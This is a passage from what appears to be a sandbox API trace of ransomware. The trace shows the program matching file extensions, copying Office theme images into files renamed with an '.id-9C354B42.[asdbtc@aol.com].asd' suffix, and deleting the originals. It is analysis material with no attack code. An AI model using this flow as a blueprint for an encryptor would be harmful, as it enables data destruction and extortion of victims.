Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0056.521] lstrlenW (lpString=".zip") returned 4 [0056.521] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.521] lstrlenW (lpString=".rar") returned 4 [0056.521] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.521] lstrlenW (lpString=".bz2") returned 4 [0056.521] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.521] lstrlenW (lpString=".7z") returned 3 [0056.522] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0056.522] lstrlenW (lpString=".dbf") returned 4 [0056.522] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0056.522] lstrlenW (lpString=".1cd") returned 4 [0056.522] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0056.522] lstrlenW (lpString=".jpg") returned 4 [0056.522] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.522] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0056.522] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0056.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0056.664] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=18380) returned 1 [0056.664] CloseHandle (hObject=0x218) returned 1 [0056.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0056.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0056.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0056.665] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0056.665] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0056.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0056.665] GetLastError () returned 0x0 [0056.665] ReadFile (in: hFile=0x218, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x47cc, lpOverlapped=0x0) returned 1 [0056.667] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x47d0, lpOverlapped=0x0) returned 1 [0056.668] ReadFile (in: hFile=0x218, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0056.668] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.669] SetEndOfFile (hFile=0x220) returned 1 [0056.669] CloseHandle (hObject=0x220) returned 1 [0056.669] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0056.669] SetEndOfFile (hFile=0x218) returned 1 [0056.670] CloseHandle (hObject=0x218) returned 1 [0056.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0056.670] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1 [0056.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0056.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0056.670] lstrlenW (lpString=".doc") returned 4 [0056.670] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0056.670] lstrlenW (lpString=".docx") returned 5 [0056.671] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0056.671] lstrlenW (lpString=".pdf") returned 4 [0056.671] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0056.671] lstrlenW (lpString=".xls") returned 4 [0056.671] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0056.671] lstrlenW (lpString=".xlsx") returned 5 [0056.671] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0056.671] lstrlenW (lpString=".ppt") returned 4 [0056.671] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0056.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0056.671] lstrlenW (lpString=".zip") returned 4 [0056.671] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0056.671] lstrlenW (lpString=".rar") returned 4 [0056.671] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0056.671] lstrlenW (lpString=".bz2") returned 4 [0056.671] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0056.671] lstrlenW (lpString=".7z") returned 3 [0056.671] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0056.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0056.672] lstrlenW (lpString=".dbf") returned 4 [0056.672] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0056.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0056.672] lstrlenW (lpString=".1cd") returned 4 [0056.672] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0056.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0056.672] lstrlenW (lpString=".jpg") returned 4 [0056.672] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0056.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0056.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0056.672] lstrlenW (lpString=".doc") returned 4 [0056.672] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0056.672] lstrlenW (lpString=".docx") returned 5 [0056.672] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0056.672] lstrlenW (lpString=".pdf") returned 4 [0056.672] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0056.672] lstrlenW (lpString=".xls") returned 4 [0056.672] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0056.672] lstrlenW (lpString=".xlsx") returned 5 [0056.672] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0056.672] lstrlenW (lpString=".ppt") returned 4 [0056.672] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0056.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0056.672] lstrlenW (lpString=".zip") returned 4 [0056.672] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0056.673] lstrlenW (lpString=".rar") returned 4 [0056.673] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0056.673] lstrlenW (lpString=".bz2") returned 4 [0056.673] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0056.673] lstrlenW (lpString=".7z") returned 3 [0056.673] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0056.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0056.673] lstrlenW (lpString=".dbf") returned 4 [0056.673] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0056.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0056.673] lstrlenW (lpString=".1cd") returned 4 [0056.673] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0056.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0056.673] lstrlenW (lpString=".jpg") returned 4 [0056.673] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0056.673] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0056.673] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0056.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0056.674] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1571) returned 1 [0056.675] CloseHandle (hObject=0x218) returned 1 [0056.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0056.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0056.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0056.675] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0056.675] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0056.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0056.677] GetLastError () returned 0x0 [0056.677] ReadFile (in: hFile=0x218, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x623, lpOverlapped=0x0) returned 1 [0056.683] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x630, lpOverlapped=0x0) returned 1 [0056.684] ReadFile (in: hFile=0x218, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0056.684] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xea, lpOverlapped=0x0) returned 1 [0056.684] SetEndOfFile (hFile=0x220) returned 1 [0056.684] CloseHandle (hObject=0x220) returned 1 [0056.684] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0056.684] SetEndOfFile (hFile=0x218) returned 1 [0056.685] CloseHandle (hObject=0x218) returned 1 [0056.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0056.685] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1 [0056.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.686] lstrlenW (lpString=".doc") returned 4 [0056.686] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.686] lstrlenW (lpString=".docx") returned 5 [0056.686] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0056.686] lstrlenW (lpString=".pdf") returned 4 [0056.686] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.686] lstrlenW (lpString=".xls") returned 4 [0056.686] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.686] lstrlenW (lpString=".xlsx") returned 5 [0056.686] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0056.686] lstrlenW (lpString=".ppt") returned 4 [0056.686] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.686] lstrlenW (lpString=".zip") returned 4 [0056.686] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.686] lstrlenW (lpString=".rar") returned 4 [0056.686] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.686] lstrlenW (lpString=".bz2") returned 4 [0056.686] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.686] lstrlenW (lpString=".7z") returned 3 [0056.686] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.686] lstrlenW (lpString=".dbf") returned 4 [0056.686] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.686] lstrlenW (lpString=".1cd") returned 4 [0056.687] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.687] lstrlenW (lpString=".jpg") returned 4 [0056.687] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.687] lstrlenW (lpString=".doc") returned 4 [0056.687] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.687] lstrlenW (lpString=".docx") returned 5 [0056.687] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0056.687] lstrlenW (lpString=".pdf") returned 4 [0056.687] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.687] lstrlenW (lpString=".xls") returned 4 [0056.687] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.687] lstrlenW (lpString=".xlsx") returned 5 [0056.687] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0056.687] lstrlenW (lpString=".ppt") returned 4 [0056.687] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.687] lstrlenW (lpString=".zip") returned 4 [0056.687] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.687] lstrlenW (lpString=".rar") returned 4 [0056.687] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.687] lstrlenW (lpString=".bz2") returned 4 [0056.687] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.687] lstrlenW (lpString=".7z") returned 3 [0056.687] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.687] lstrlenW (lpString=".dbf") returned 4 [0056.687] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.687] lstrlenW (lpString=".1cd") returned 4 [0056.687] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.688] lstrlenW (lpString=".jpg") returned 4 [0056.688] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.688] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0056.688] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0056.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0057.030] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=30170) returned 1 [0057.030] CloseHandle (hObject=0x1f0) returned 1 [0057.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0057.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0057.030] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0057.030] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0057.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0057.031] GetLastError () returned 0x0 [0057.031] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x75da, lpOverlapped=0x0) returned 1 [0057.033] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x75e0, lpOverlapped=0x0) returned 1 [0057.034] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0057.034] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.035] SetEndOfFile (hFile=0x220) returned 1 [0057.035] CloseHandle (hObject=0x220) returned 1 [0057.035] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0057.035] SetEndOfFile (hFile=0x1f0) returned 1 [0057.036] CloseHandle (hObject=0x1f0) returned 1 [0057.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0057.036] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1 [0057.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0057.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0057.037] lstrlenW (lpString=".doc") returned 4 [0057.037] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.037] lstrlenW (lpString=".docx") returned 5 [0057.037] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.037] lstrlenW (lpString=".pdf") returned 4 [0057.037] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.037] lstrlenW (lpString=".xls") returned 4 [0057.037] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.037] lstrlenW (lpString=".xlsx") returned 5 [0057.037] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.037] lstrlenW (lpString=".ppt") returned 4 [0057.037] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0057.037] lstrlenW (lpString=".zip") returned 4 [0057.037] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.037] lstrlenW (lpString=".rar") returned 4 [0057.037] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.037] lstrlenW (lpString=".bz2") returned 4 [0057.037] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.037] lstrlenW (lpString=".7z") returned 3 [0057.037] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0057.037] lstrlenW (lpString=".dbf") returned 4 [0057.037] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0057.037] lstrlenW (lpString=".1cd") returned 4 [0057.037] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0057.037] lstrlenW (lpString=".jpg") returned 4 [0057.037] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0057.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0057.038] lstrlenW (lpString=".doc") returned 4 [0057.038] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.038] lstrlenW (lpString=".docx") returned 5 [0057.038] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.038] lstrlenW (lpString=".pdf") returned 4 [0057.038] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.038] lstrlenW (lpString=".xls") returned 4 [0057.038] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.038] lstrlenW (lpString=".xlsx") returned 5 [0057.038] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.038] lstrlenW (lpString=".ppt") returned 4 [0057.038] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") 